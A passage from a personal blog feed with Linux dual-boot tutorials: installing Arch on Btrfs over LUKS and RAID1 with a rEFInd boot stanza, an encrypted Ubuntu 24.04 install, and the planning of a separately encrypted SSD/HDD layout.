<p>Before continuing, <code class="language-plaintext highlighter-rouge">watch /proc/mdstat</code> to make sure the array had enough time to resync.</p>

<figure class=""><a href="/assets/images/dual-boot/arch-mdadm.png" class="image-popup" title="Setting up software RAID on Linux is easier than I imagined.
"><img src="/assets/images/dual-boot/arch-mdadm.png" alt="arch-mdadm" /></a><figcaption>
      Setting up software RAID on Linux is easier than I imagined.

    </figcaption></figure>

<h4 id="194-luks-encryption">1.9.4. LUKS encryption</h4>

<p>Setting up dm-crypt / LUKS encryption on top of a RAID1 array is also quite simple:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cryptsetup <span class="nt">-v</span> luksFormat /dev/md0
cryptsetup open <span class="nt">--allow-discards</span> /dev/md0 arch-root
</code></pre></div></div>

<figure class=""><a href="/assets/images/dual-boot/arch-cryptsetup.png" class="image-popup" title="Save for discards, the default LUKS settings in this version of cryptsetup are exactly what I want for this particular system.
"><img src="/assets/images/dual-boot/arch-cryptsetup.png" alt="arch-cryptsetup" /></a><figcaption>
      Save for discards, the default LUKS settings in this version of cryptsetup are exactly what I want for this particular system.

    </figcaption></figure>

<h3 id="110-format-the-partitions">1.10. Format the partitions</h3>

<p>As planned, I’ll use ext4 for my boot partition and Btrfs (on LUKS, on RAID) for the rest:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mkfs.ext4 /dev/sda2
mkfs.btrfs /dev/mapper/arch-root
</code></pre></div></div>

<h3 id="111-mount-the-file-systems">1.11. Mount the file systems</h3>

<p>I’ll start by temporarily mounting my Btrfs root at <code class="language-plaintext highlighter-rouge">/mnt</code>.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mount <span class="nt">-o</span> defaults,compress<span class="o">=</span>zstd:1,ssd,discard<span class="o">=</span>async,noatime /dev/mapper/arch-root /mnt
</code></pre></div></div>

<ul>
  <li>Compression is one of the reasons I chose Btrfs, and after looking at <a href="https://www.phoronix.com/review/btrfs-zstd-compress/2">a few</a> <a href="https://www.reddit.com/r/btrfs/comments/bpphbz/my_benchmarks_of_the_new_zstd_levels_in_51/">benchmarks</a>, it seems that <code class="language-plaintext highlighter-rouge">zstd:1</code> is the best compromise on compression ratio and CPU usage.</li>
  <li>Apparently, Btrfs does not add <code class="language-plaintext highlighter-rouge">ssd</code> or <code class="language-plaintext highlighter-rouge">discard</code> options by default when it is mounted on top of LUKS/RAID, so I’ll add those manually.</li>
  <li>Finally, I use <code class="language-plaintext highlighter-rouge">noatime</code> in order to avoid unnecessary writes on the hybrid RAID1 setup, since they’ll have HDD speeds and I want to preserve SSD read performance.</li>
</ul>

<p>Now, since the filesystem is empty, this is probably the most convenient moment to set up other Btrfs subvolumes.
I’ll follow the <a href="https://wiki.archlinux.org/title/snapper#Suggested_filesystem_layout">suggested filesystem layout for Snapper</a>, with separate subvolumes <code class="language-plaintext highlighter-rouge">@</code> and <code class="language-plaintext highlighter-rouge">@home</code> for <code class="language-plaintext highlighter-rouge">/</code> and <code class="language-plaintext highlighter-rouge">/home</code> respectively, then <code class="language-plaintext highlighter-rouge">@var_log</code> to exclude <code class="language-plaintext highlighter-rouge">/var/log</code> from root snapshots (note: I may have to create more subvolumes in the future in order to have separately-snapshottable containers, databases, and the like).</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>btrfs subvolume create /mnt/@
btrfs subvolume create /mnt/@home
btrfs subvolume create /mnt/@var_log
</code></pre></div></div>

<p>Now, in order to actually use the <code class="language-plaintext highlighter-rouge">@</code> subvolume as our <code class="language-plaintext highlighter-rouge">/</code> mountpoint (as opposed to mounting <code class="language-plaintext highlighter-rouge">/</code> directly on the root subvolume a.k.a. <code class="language-plaintext highlighter-rouge">subvolid=5</code>), we’ll unmount the current root:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>umount /mnt
</code></pre></div></div>

<p>And then set up mountpoints (subvolumes and normal partitions alike) in the way they’re actually going to be used in the installed system, in hierarchical order:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mount <span class="nt">-o</span> <span class="nv">subvol</span><span class="o">=</span>@,defaults,compress<span class="o">=</span>zstd:1,ssd,discard<span class="o">=</span>async,noatime /dev/mapper/arch-root /mnt/

<span class="nb">mkdir</span> <span class="nt">-p</span> /mnt/home
mount <span class="nt">-o</span> <span class="nv">subvol</span><span class="o">=</span>@home,defaults,compress-force<span class="o">=</span>zstd:1,ssd,discard<span class="o">=</span>async,noatime /dev/mapper/arch-root /mnt/home

<span class="nb">mkdir</span> <span class="nt">-p</span> /mnt/var/log
mount <span class="nt">-o</span> <span class="nv">subvol</span><span class="o">=</span>@var_log,defaults,compress<span class="o">=</span>zstd:1,ssd,discard<span class="o">=</span>async /dev/mapper/arch-root /mnt/var/log

<span class="nb">mkdir</span> <span class="nt">-p</span> /mnt/boot
mount /dev/sda2 /mnt/boot

<span class="nb">mkdir</span> <span class="nt">-p</span> /mnt/boot/efi
mount /dev/sda1 /mnt/boot/efi
</code></pre></div></div>

<figure class=""><a href="/assets/images/dual-boot/arch-btrfs.png" class="image-popup" title="Setting up mount points for subvolumes and partitions alike.
"><img src="/assets/images/dual-boot/arch-btrfs.png" alt="arch-btrfs" /></a><figcaption>
      Setting up mount points for subvolumes and partitions alike.

    </figcaption></figure>

<h2 id="2-installation">2. Installation</h2>

<h3 id="21-select-the-mirrors">2.1. Select the mirrors</h3>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>reflector <span class="nt">-p</span> https <span class="nt">-l</span> 100 <span class="nt">--sort</span> rate <span class="nt">-n</span> 20 <span class="nt">--save</span> /etc/pacman.d/mirrorlist
</code></pre></div></div>

<h3 id="22-install-essential-packages">2.2. Install essential packages</h3>

<p>This is where we decide what packages we want in our initial install:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>pacstrap <span class="nt">-K</span> /mnt <span class="se">\</span>
  base <span class="nb">sudo </span>systemd less which lsof <span class="se">\</span>
  linux-zen linux linux-firmware <span class="se">\</span>
  intel-ucode <span class="se">\</span>
  e2fsprogs dosfstools cryptsetup lvm2 mdadm btrfs-progs <span class="se">\</span>
  networkmanager <span class="nb">bind </span>whois wget curl <span class="se">\</span>
  nano vim <span class="se">\</span>
  man-db man-pages <span class="se">\</span>
  refind efibootmgr mkinitcpio <span class="se">\</span>
  base-devel cmake git python gnupg openssh diffutils <span class="se">\</span>
  bash-completion htop tree xxd dmidecode usbutils perl-image-exiftool sysstat bat inxi
</code></pre></div></div>

<h2 id="3-configure-the-system">3. Configure the system</h2>

<h3 id="30-update-raid-config-file">3.0. Update RAID config file</h3>

<p>Since we’re using RAID, we need to update the default mdadm configuration file:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mdadm <span class="nt">--detail</span> <span class="nt">--scan</span> <span class="o">&gt;&gt;</span> /mnt/etc/mdadm.conf
</code></pre></div></div>

<p>Then open it on a text editor to make sure it looks OK.</p>

<h3 id="31-fstab">3.1. Fstab</h3>

<p>Similarly, for the fstab file:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>genfstab <span class="nt">-U</span> /mnt <span class="o">&gt;&gt;</span> /mnt/etc/fstab
</code></pre></div></div>

<h3 id="32-chroot">3.2. Chroot</h3>

<p>Now, we’ll be chrooting into the new system:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>arch-chroot /mnt
</code></pre></div></div>

<h3 id="33-time">3.3. Time</h3>

<p>If you want the system’s local time to be in your own timezone instead of UTC:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">ln</span> <span class="nt">-sf</span> /usr/share/zoneinfo/<span class="nv">$REGION</span>/<span class="nv">$CITY</span> /etc/localtime
hwclock <span class="nt">--systohc</span>
</code></pre></div></div>

<h3 id="34-localization">3.4. Localization</h3>

<p>Edit <code class="language-plaintext highlighter-rouge">/etc/locale.gen</code> and uncomment <code class="language-plaintext highlighter-rouge">en_US.UTF-8 UTF-8</code>, as well as any other needed UTF-8 locales.
Then, generate the locales and set the system locale with:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>locale-gen
<span class="nb">echo</span> <span class="s1">'LANG=en_US.UTF-8'</span> <span class="o">&gt;</span> /etc/locale.conf
</code></pre></div></div>

<h3 id="35-network-configuration">3.5. Network configuration</h3>

<p>Create a hostname file:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">echo</span> <span class="s1">'my-cool-hostname'</span> <span class="o">&gt;</span> /etc/hostname
</code></pre></div></div>

<p>And, in my case, I’ll manually enable the NetworkManager systemd unit:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">ln</span> <span class="nt">-s</span> /usr/lib/systemd/system/NetworkManager.service /etc/systemd/system/multi-user.target.wants/
</code></pre></div></div>

<h3 id="36-initramfs">3.6. Initramfs</h3>

<p>In this setup, where I’m using LUKS encryption and software RAID, I needed to add <code class="language-plaintext highlighter-rouge">mdadm_udev</code> and <code class="language-plaintext highlighter-rouge">encrypt</code> to my initramfs hooks in <code class="language-plaintext highlighter-rouge">/etc/mkinitcpio.conf</code>:</p>

<div class="language-conf highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">HOOKS</span>=(<span class="n">base</span> <span class="n">udev</span> <span class="n">autodetect</span> <span class="n">microcode</span> <span class="n">modconf</span> <span class="n">kms</span> <span class="n">keyboard</span> <span class="n">keymap</span> <span class="n">consolefont</span> <span class="n">block</span> <span class="n">mdadm_udev</span> <span class="n">encrypt</span> <span class="n">filesystems</span> <span class="n">fsck</span>)
</code></pre></div></div>

<p>Then, in order to actually apply these changes and recreate the initramfs image:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mkinitcpio <span class="nt">-P</span>
</code></pre></div></div>

<figure class=""><a href="/assets/images/dual-boot/arch-chroot.png" class="image-popup" title="Note: the mkinitcpio command may issue some warnings while generating the initramfs; I just ignored the ones I got.
"><img src="/assets/images/dual-boot/arch-chroot.png" alt="arch-chroot" /></a><figcaption>
      Note: the mkinitcpio command may issue some warnings while generating the initramfs; I just ignored the ones I got.

    </figcaption></figure>

<h3 id="37-root-password">3.7. Root password</h3>

<p>We can then set the root password with <code class="language-plaintext highlighter-rouge">passwd</code>.</p>

<h3 id="38-boot-loader">3.8. Boot loader</h3>

<p>In my case, I’ll use <a href="https://www.rodsbooks.com/refind/configfile.html">rEFInd</a> (which I already installed in the <code class="language-plaintext highlighter-rouge">pacstrap</code> command):</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>refind-install
<span class="nb">rm</span> /boot/refind_linux.conf
<span class="nb">cp</span> /boot/efi/EFI/refind/refind.conf /boot/efi/EFI/refind/refind.conf.bak
</code></pre></div></div>

<p>After creating a backup of the original config, I edited <code class="language-plaintext highlighter-rouge">/boot/efi/EFI/refind/refind.conf</code> to reduce the boot timeout, to <a href="https://wiki.archlinux.org/title/REFInd#For_kernels_automatically_detected_by_rEFInd">add support for the naming scheme of Arch Linux kernels</a> and to enable the inclusion of a separate <code class="language-plaintext highlighter-rouge">manual.conf</code> config file.</p>

<div class="language-conf highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># refind.conf
</span>...
<span class="n">timeout</span> <span class="m">5</span>
...
<span class="n">extra_kernel_version_strings</span> <span class="s2">"linux-hardened,linux-rt-lts,linux-zen,linux-lts,linux-rt,linux"</span>
...
<span class="n">include</span> <span class="n">manual</span>.<span class="n">conf</span>
</code></pre></div></div>

<p>Then, I like to set up a manual boot stanza in <code class="language-plaintext highlighter-rouge">/boot/efi/EFI/refind/manual.conf</code>, which reads:</p>

<div class="language-conf highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># manual.conf
</span><span class="n">menuentry</span> <span class="s2">"Arch Linux"</span> {
	<span class="n">icon</span>    /<span class="n">EFI</span>/<span class="n">refind</span>/<span class="n">icons</span>/<span class="n">os_arch</span>.<span class="n">png</span>
	<span class="n">volume</span>  <span class="s2">"8B2310D6-C36B-4FB9-929B-F2FF5D5B120D"</span>
	<span class="n">loader</span>  /<span class="n">vmlinuz</span>-<span class="n">linux</span>-<span class="n">zen</span>
	<span class="n">initrd</span>  /<span class="n">initramfs</span>-<span class="n">linux</span>-<span class="n">zen</span>.<span class="n">img</span>
	<span class="n">options</span> <span class="s2">"cryptdevice=UUID=6fd4672b-5745-404d-a4f2-5cf3984c0ae5:arch-root:allow-discards root=UUID=07a47b01-b163-4e7f-99ab-4c6310c4e4a1 rootflags=subvol=@ rw"</span>
	<span class="n">submenuentry</span> <span class="s2">"Boot using fallback initramfs"</span> {
		<span class="n">initrd</span> /<span class="n">initramfs</span>-<span class="n">linux</span>-<span class="n">zen</span>-<span class="n">fallback</span>.<span class="n">img</span>
	}
}
</code></pre></div></div>

<ul>
  <li>We need to specify the <code class="language-plaintext highlighter-rouge">icon</code> token before choosing a boot <code class="language-plaintext highlighter-rouge">volume</code>.</li>
  <li>The <code class="language-plaintext highlighter-rouge">volume</code> token is set to the PARTUUID of my <code class="language-plaintext highlighter-rouge">/boot</code> partition (<code class="language-plaintext highlighter-rouge">/dev/sda2</code>).</li>
  <li><code class="language-plaintext highlighter-rouge">loader</code> and <code class="language-plaintext highlighter-rouge">initrd</code> paths are set using the specified <code class="language-plaintext highlighter-rouge">volume</code> as a root, so we don’t need to prefix those with <code class="language-plaintext highlighter-rouge">/boot</code>.</li>
  <li>The <code class="language-plaintext highlighter-rouge">cryptdevice</code> kernel option must be set with the UUID of a block device of <code class="language-plaintext highlighter-rouge">TYPE="crypto_LUKS"</code>, which corresponds to my software RAID block device.</li>
  <li>The UUID in the <code class="language-plaintext highlighter-rouge">root</code> kernel option should match the <code class="language-plaintext highlighter-rouge">/</code> entry in my <code class="language-plaintext highlighter-rouge">fstab</code>.</li>
  <li>Since my root filesystem is mounted in a non-default Btrfs subvolume, I need to specify <code class="language-plaintext highlighter-rouge">rootflags=subvol=@</code> as well.</li>
</ul>

<figure class=""><a href="/assets/images/dual-boot/arch-bootloader.png" class="image-popup" title="Configuring the second-stage bootloader has always been the hardest part of installing Linux for me.
"><img src="/assets/images/dual-boot/arch-bootloader.png" alt="arch-bootloader" /></a><figcaption>
      Configuring the second-stage bootloader has always been the hardest part of installing Linux for me.

    </figcaption></figure>

<h2 id="4-reboot">4. Reboot</h2>

<p>If everything was set up correctly, we should be able to reboot into our freshly-installed system:</p>

<ul>
  <li>Leave the chroot environment by exiting the current shell</li>
  <li>(Optionally) unmount partitions with <code class="language-plaintext highlighter-rouge">umount -R /mnt</code></li>
  <li><code class="language-plaintext highlighter-rouge">reboot</code></li>
  <li>Choose the correct option in our boot loader of choice</li>
</ul>

<figure class=""><a href="/assets/images/dual-boot/refind.png" class="image-popup" title="rEFInd has already detected my existing Ubuntu install and has correctly set up a corresponding chain-load entry.
"><img src="/assets/images/dual-boot/refind.png" alt="refind" /></a><figcaption>
      rEFInd has already detected my existing Ubuntu install and has correctly set up a corresponding chain-load entry.

    </figcaption></figure>

<p>You’ll then be prompted for your disk encryption password before fully booting:</p>

<figure class=""><a href="/assets/images/dual-boot/arch-boot-encrypted.png" class="image-popup"><img src="/assets/images/dual-boot/arch-boot-encrypted.png" alt="arch-boot-encrypted" /></a></figure>

<h2 id="5-post-installation">5. Post-installation</h2>

<p>All done!
I’ll leave any further post-installation steps to <a href="../arch-awesomewm">another post</a>.</p>]]></content><author><name>Gabriel B. Sant&apos;Anna</name></author><category term="tutorial" /><category term="linux" /><summary type="html"><![CDATA[Advanced dual-boot setup - Part 2: I use Arch, btw]]></summary></entry><entry><title type="html">How to install Ubuntu 24.04 LTS with Full Disk Encryption</title><link href="https://www.baioc.dev/tutorial/ubuntu-24.04-encrypted/" rel="alternate" type="text/html" title="How to install Ubuntu 24.04 LTS with Full Disk Encryption" /><published>2024-05-16T00:00:00+00:00</published><updated>2024-05-17T00:00:00+00:00</updated><id>https://www.baioc.dev/tutorial/ubuntu-24.04-encrypted</id><content type="html" xml:base="https://www.baioc.dev/tutorial/ubuntu-24.04-encrypted/"><![CDATA[<p>Ubuntu 24.04 LTS, code name “Noble Numbat”, was <a href="https://wiki.ubuntu.com/Releases">released just 3 weeks ago</a>.
The new installer doesn’t make it obvious, but you can have an encrypted install without erasing / using the entire disk.
Here’s how to do it.</p>

<h2 id="1-acquire-installation-media">1. Acquire installation media</h2>

<ul>
  <li>Download the <a href="https://ubuntu.com/download/desktop">official ISO image</a>;</li>
  <li>Make sure its <code class="language-plaintext highlighter-rouge">sha256sum</code> matches <a href="https://releases.ubuntu.com/24.04/SHA256SUMS">the expected hash</a> (<code class="language-plaintext highlighter-rouge">81fae9cc21e2b1e3a9a4526c7dad3131b668e346c580702235ad4d02645d9455</code> for 24.04);</li>
  <li>Flash the image on a USB stick;</li>
</ul>

<h2 id="2-prepare-the-target-system">2. Prepare the target system</h2>

<ul>
  <li>Back up your data;</li>
  <li>Boot your computer from the live USB;</li>
  <li>Close the installer in order to see the system’s desktop;</li>
  <li>Delete or shrink existing partitions in order to make space for Ubuntu:
    <ul>
      <li>In simple setups, this can be done using GParted or <code class="language-plaintext highlighter-rouge">fdisk</code></li>
      <li>More advanced setups require extra steps (e.g; <a href="https://help.ubuntu.com/community/ResizeEncryptedPartitions">resizing encrypted partitions is tricky</a>)</li>
    </ul>
  </li>
  <li>Consider using a <a href="https://wiki.archlinux.org/title/Dm-crypt/Drive_preparation#Secure_erasure_of_the_drive">secure erasing process</a> in case your drive wasn’t encrypted before;</li>
  <li>If there’s any disk space you DON’T WANT Ubuntu to occupy, just make sure the installer doesn’t see it as free space by creating dummy partitions there;</li>
</ul>

<h3 id="partition-layout">Partition layout</h3>

<p>Based on my VM tests, here’s how the automated installer lays out partitions:</p>
<ul>
  <li>If an ESP partition already exists, it will be used by Ubuntu as well;</li>
  <li>Otherwise, a new one is created in the first sector range of the disk with enough free space for it (default size appears to be 1075 MiB);</li>
  <li>Then, it chooses another disk chunk to set up a boot partition and a root partition:
    <ul>
      <li>I’m not sure whether it uses the first free range which can fit the OS, or the biggest such range that it can find;</li>
      <li>Either way, the two partitions are laid out one after the other; where the first 1792 MiB are used by the boot partition and everything else is given to the root partition.</li>
    </ul>
  </li>
</ul>

<p>In my case, I’ve carved out the first 4 GiB and the last 10 GiB as free space.
The remaining disk space between those was reserved by two partitions which I’ll use to <a href="../arch-btrfs-luks-raid">install Arch afterwards</a>.</p>

<h2 id="3-guided-encrypted-install">3. Guided encrypted install</h2>

<ul>
  <li>Re-open the installer and follow the wizard until you get to the disk setup page:</li>
</ul>

<figure class=""><a href="/assets/images/dual-boot/ubuntu-install-simple.png" class="image-popup" title="The new installer doesn’t make it obvious, but you can have an encrypted install without erasing the entire disk.
"><img src="/assets/images/dual-boot/ubuntu-install-simple.png" alt="ubuntu-install-simple" /></a><figcaption>
      The new installer doesn’t make it obvious, but you can have an encrypted install without erasing the entire disk.

    </figcaption></figure>

<ul>
  <li>Toggle the “Erase disk” option, just for now;</li>
  <li>Go to the “Advanced features” menu and select “Use LVM and encryption”;</li>
</ul>

<figure class=""><a href="/assets/images/dual-boot/ubuntu-advanced-options.png" class="image-popup" title="This tells the installer to encrypt the root partition using LVM on top of LUKS.
"><img src="/assets/images/dual-boot/ubuntu-advanced-options.png" alt="ubuntu-advanced-options" /></a><figcaption>
      This tells the installer to encrypt the root partition using LVM on top of LUKS.

    </figcaption></figure>

<ul>
  <li>If you don’t want to erase the entire disk, make sure to toggle the “Install Ubuntu alongside other partitions” option before continuing;</li>
</ul>

<figure class=""><a href="/assets/images/dual-boot/ubuntu-install-encrypted.png" class="image-popup" title="Can you see the difference between this screenshot and the first one?
"><img src="/assets/images/dual-boot/ubuntu-install-encrypted.png" alt="ubuntu-install-encrypted" /></a><figcaption>
      Can you see the difference between this screenshot and the first one?

    </figcaption></figure>

<ul>
  <li>If encryption was indeed enabled, you’ll be prompted for a password in the next page:</li>
</ul>

<figure class=""><a href="/assets/images/dual-boot/ubuntu-passphrase.png" class="image-popup" title="Password prompt for LUKS encryption.
"><img src="/assets/images/dual-boot/ubuntu-passphrase.png" alt="ubuntu-passphrase" /></a><figcaption>
      Password prompt for LUKS encryption.

    </figcaption></figure>

<ul>
  <li>Keep following the install wizard until it asks you to review your choices;</li>
</ul>

<figure class=""><a href="/assets/images/dual-boot/ubuntu-install-summary.png" class="image-popup" title="Notice that LUKS disk encryption is enabled.
"><img src="/assets/images/dual-boot/ubuntu-install-summary.png" alt="ubuntu-install-summary" /></a><figcaption>
      Notice that LUKS disk encryption is enabled.

    </figcaption></figure>

<ul>
  <li>After confirming that everything is as expected, let the installer do its thing;</li>
</ul>

<figure class=""><a href="/assets/images/dual-boot/ubuntu-partition-layout.png" class="image-popup" title="Disk layout after the installer is done. All three ext2 partitions were created to reserve that disk space for another OS.
"><img src="/assets/images/dual-boot/ubuntu-partition-layout.png" alt="ubuntu-partition-layout" /></a><figcaption>
      Disk layout after the installer is done. All three ext2 partitions were created to reserve that disk space for another OS.

    </figcaption></figure>

<h2 id="4-reboot">4. Reboot</h2>

<ul>
  <li>When rebooting into your fresh Ubuntu installation (and on every boot from now on), you’ll be asked for the encryption password used during installation:</li>
</ul>

<figure class=""><a href="/assets/images/dual-boot/ubuntu-boot-encrypted.png" class="image-popup" title="Here’s how it looks like when booting in a VirtualBox VM.
"><img src="/assets/images/dual-boot/ubuntu-boot-encrypted.png" alt="ubuntu-boot-encrypted" /></a><figcaption>
      Here’s how it looks like when booting in a VirtualBox VM.

    </figcaption></figure>

<h2 id="appendix---how-to-fix-installation-failure-on-a-vm-with-low-memory">Appendix - How to fix installation failure on a VM with low memory</h2>

<p>If the installation doesn’t finish successfully (and you’re testing it in a VM):</p>
<ol>
  <li>Take a look at <a href="https://bugs.launchpad.net/ubuntu-desktop-provision/+bug/2059831">this bug report</a></li>
  <li>Increase the amount of memory assigned to the VM
    <ul>
      <li>(I got this error when using 4 GiB, but 8 GiB worked fine)</li>
    </ul>
  </li>
</ol>]]></content><author><name>Gabriel B. Sant&apos;Anna</name></author><category term="tutorial" /><category term="linux" /><summary type="html"><![CDATA[Advanced dual-boot setup - Part 1: Ubuntu guided installation]]></summary></entry><entry><title type="html">How to set up separately-encrypted dual-booting Linux systems on hybrid storage</title><link href="https://www.baioc.dev/tutorial/dual-boot-linux-encrypted-hybrid-storage/" rel="alternate" type="text/html" title="How to set up separately-encrypted dual-booting Linux systems on hybrid storage" /><published>2024-05-05T00:00:00+00:00</published><updated>2024-06-29T00:00:00+00:00</updated><id>https://www.baioc.dev/tutorial/dual-boot-linux-encrypted-hybrid-storage</id><content type="html" xml:base="https://www.baioc.dev/tutorial/dual-boot-linux-encrypted-hybrid-storage/"><![CDATA[<p>It’s time to rebuild my computer setup.
This series of blog posts will document how I did it, mainly as documentation for my own reference in case I need to re-build anything in the future, but hopefully it helps someone else out there with similar needs.</p>

<h2 id="some-context">Some context</h2>

<p>I’ve been using the same Dell laptop for the past ~7 years and have gone through:</p>
<ul>
  <li>Multiple update-revert cycles on top of the original Windows-only setup</li>
  <li>Resizing Windows partitions in order to dual-boot <a href="https://manjaro.org/">Manjaro Linux</a></li>
  <li>Upgrades in phyiscal memory, a battery swap and a new SSD</li>
  <li>Deleting Manjaro from the HDD while distro-hopping to <a href="https://pop.system76.com/">System76’s Pop!_OS Linux</a></li>
  <li>Corrupting data in the older HDD because of a power loss while moving partitions</li>
  <li>Restoring said data (<em>phew!</em>) from my <a href="https://www.borgbackup.org/">Borg backups</a></li>
  <li>Fully abandoning Windows, yet keeping it installed in the HDD “just in case”</li>
</ul>

<figure class=""><a href="https://imgs.xkcd.com/comics/old_files.png" class="image-popup" title="xkcd #1360
"><img src="https://imgs.xkcd.com/comics/old_files.png" alt="xkcd-1360" /></a><figcaption>
      xkcd #1360

    </figcaption></figure>

<p>Since my new job requires me to use a specific OS, I figured that this would be a good opportunity to start from scratch in order to make better use of the hardware I have.
I’ll keep using the same laptop, of course, since it still works well and is powerful enough for all my needs (including gaming from time to time).</p>

<p>My hardware specs. are:</p>
<ul>
  <li>A Dell motherboard/firmware with support for UEFI boot</li>
  <li>An Intel x86-64 processor with integrated graphics</li>
  <li>A discrete Nvidia GPU with 4 GiB VRAM</li>
  <li>16 GiB DDR3 phyiscal memory</li>
  <li>An old 5400 RPM HDD with ~1 TB capacity</li>
  <li>A newer M.2 2280 SSD with ~480 GB capacity</li>
</ul>

<p>What I need/want from the resulting system is:</p>
<ol>
  <li>A standard <a href="https://ubuntu.com/">Ubuntu</a> 24.04 LTS install (+encryption), for work</li>
  <li>A fully-custom <a href="https://wiki.archlinux.org/">Arch Linux</a> system, for personal use</li>
  <li>Be able to quickly (re)boot and choose an(other) OS for the occasion</li>
  <li>Security for both personal and work-related data</li>
  <li>Make good use of my hardware, especially the SSD and GPU</li>
  <li>Get the most out of my laptop’s battery life, when unplugged</li>
</ol>

<p>Additionally:</p>
<ul>
  <li>My HDD is pretty old at this point (in use for 7+ years!), so I have to assume that it may start failing at any moment.</li>
  <li>On the other hand, I’ve heard some horror stories about SSD sudden death, so I want to be prepared for failures there as well.</li>
  <li>I’m not worried about cutomizing my work OS that much, so a fresh reinstall shouldn’t be much of an issue.</li>
  <li>Furthermore, I expect work-related storage to be mostly build artifacts and caches, which can always be recovered through a clean build from the (version-controlled, cloud-backed) sources.</li>
  <li>I probably don’t need more than 400 GiB for my personal data + OS, at least based on usage in my current setup.</li>
</ul>

<h2 id="a-first-sketch">A first sketch</h2>

<p>After doing some research and a few VM tests, here’s what I want the system to look like, at a high level:
<img src="/assets/images/dual-boot/drives.png" alt="sketch-drives" /></p>

<p>A few things to note:</p>
<ol>
  <li>There’s a single ESP partition on the system.
    <ul>
      <li>According to <a href="https://askubuntu.com/questions/963282/i-have-2-efi-partitions-on-2-separate-drives-how-do-i-combine-them/1437126#1437126">this</a>, the UEFI specification does not require support for multiple ESPs.</li>
      <li>This partiton has to formatted as FAT32.</li>
    </ul>
  </li>
  <li>Each OS gets its own unencrypted <code class="language-plaintext highlighter-rouge">/boot</code> partition.
    <ul>
      <li>They are unencrypted because <a href="https://superuser.com/questions/522971/is-a-boot-partition-always-necessary/522998#522998">most bootloaders don’t support encryption</a>. GRUB is a bit of an exception, but it <a href="https://wiki.archlinux.org/title/GRUB#LUKS2">still doesn’t support default LUKS2 encryption</a>.</li>
      <li>Each OS gets to manage its own boot partition, <a href="https://superuser.com/questions/940782/do-i-need-two-boot-partitions-for-a-dual-boot-system/941881#941881">reducing the chances that they’ll mess up each other’s boot</a>.</li>
      <li>Both boot partitions will be formatted using ext4. This is how Ubuntu’s 24.04 installer does it, and how I chose to do it (as opposed to using ext2) after reading <a href="https://askubuntu.com/questions/958989/refind-very-slow-boot-when-using-efi-stub-loader/962873#962873">this</a>.</li>
    </ul>
  </li>
  <li>Personal stuff, work stuff and backups are all separately encrypted.
    <ul>
      <li>This is for added security: a compromised user/service in the work OS won’t be able to steal my personal data and vice-versa.</li>
    </ul>
  </li>
  <li>Most of the SSD is filled with personal stuff
    <ul>
      <li>This is needed in order for me to fit everything I have in the SSD. I don’t want to lose my files if/when the HDD fails.</li>
      <li>Even if the SSD fails, the <a href="https://en.wikipedia.org/wiki/Standard_RAID_levels#RAID_1">RAID1</a> mirror ensures that I’ll be able to reboot and continue working on my own personal stuff on a short notice (NOTE: this does NOT substitue external backups).
        <ul>
          <li>If that happens, it should be pretty straightforward to <a href="https://nicolas.busseneau.fr/en/blog/2021/08/remove-mdadm-raid1-keep-data">disable RAID1</a>.</li>
        </ul>
      </li>
      <li>Booting from the HDD mirror in case of an SSD failure will require me to have (a) ESP and <code class="language-plaintext highlighter-rouge">/boot</code> backups in the last HDD partition and (b) a <a href="https://en.wikipedia.org/wiki/Live_CD">live ISO</a> which I can boot from and restore those partitions.</li>
    </ul>
  </li>
  <li>The work installation will be split between SSD and HDD.
    <ul>
      <li>This is because most of the SSD storage is taken by personal stuff.</li>
      <li>If the HDD fails, I’ll lose some build artifacts / caches but will still be able to keep working in the storage-constrained environment of the SSD.</li>
      <li>If the SSD fails, I can just reinstall the OS from scratch in the reserved HDD space.</li>
    </ul>
  </li>
  <li>Lack of any swap partitions.
    <ul>
      <li>On a fully-encrypted system, it seems that <a href="https://wiki.archlinux.org/title/swap#Swap_file">swap files</a> will be easier to manage than swap partitions.</li>
    </ul>
  </li>
</ol>

<h2 id="btrfs-vs-lvm-ext4">Btrfs vs LVM-ext4</h2>

<p><a href="https://en.wikipedia.org/wiki/Linux_Unified_Key_Setup">LUKS</a> appears to be the current standard for disk encryption on Linux <a href="https://wiki.archlinux.org/title/Dm-crypt">dm-crypt</a>.
It works by creating a “virtual” block device over an existing one and transparently translating reads and writes to read+decrypt and encrypt+write operations.</p>

<p>By default, each encrypted device must be unlocked separately, which can be annoying for multi-partition systems.
Therefore, most people recommend setting up a flexible filesystem on top of LUKS in order to have a single unlock for all logical partitions needed by the system.
Ubuntu’s 24.04 installer uses ext4 partitions on top of <a href="https://wiki.archlinux.org/title/LVM">LVM</a> on top of LUKS, whereas my current Pop!_OS system was set up with <a href="https://mutschler.dev/linux/pop-os-btrfs-22-04">Btrfs on top of LVM on top of LUKS</a>.</p>

<figure class=""><a href="https://fedoramagazine.org/wp-content/uploads/2020/12/ext4-on-LVM.jpg" class="image-popup" title="LVM diagram, by Troy Curtis Jr from the Fedora Magazine.
"><img src="https://fedoramagazine.org/wp-content/uploads/2020/12/ext4-on-LVM.jpg" alt="lvm-ext4" /></a><figcaption>
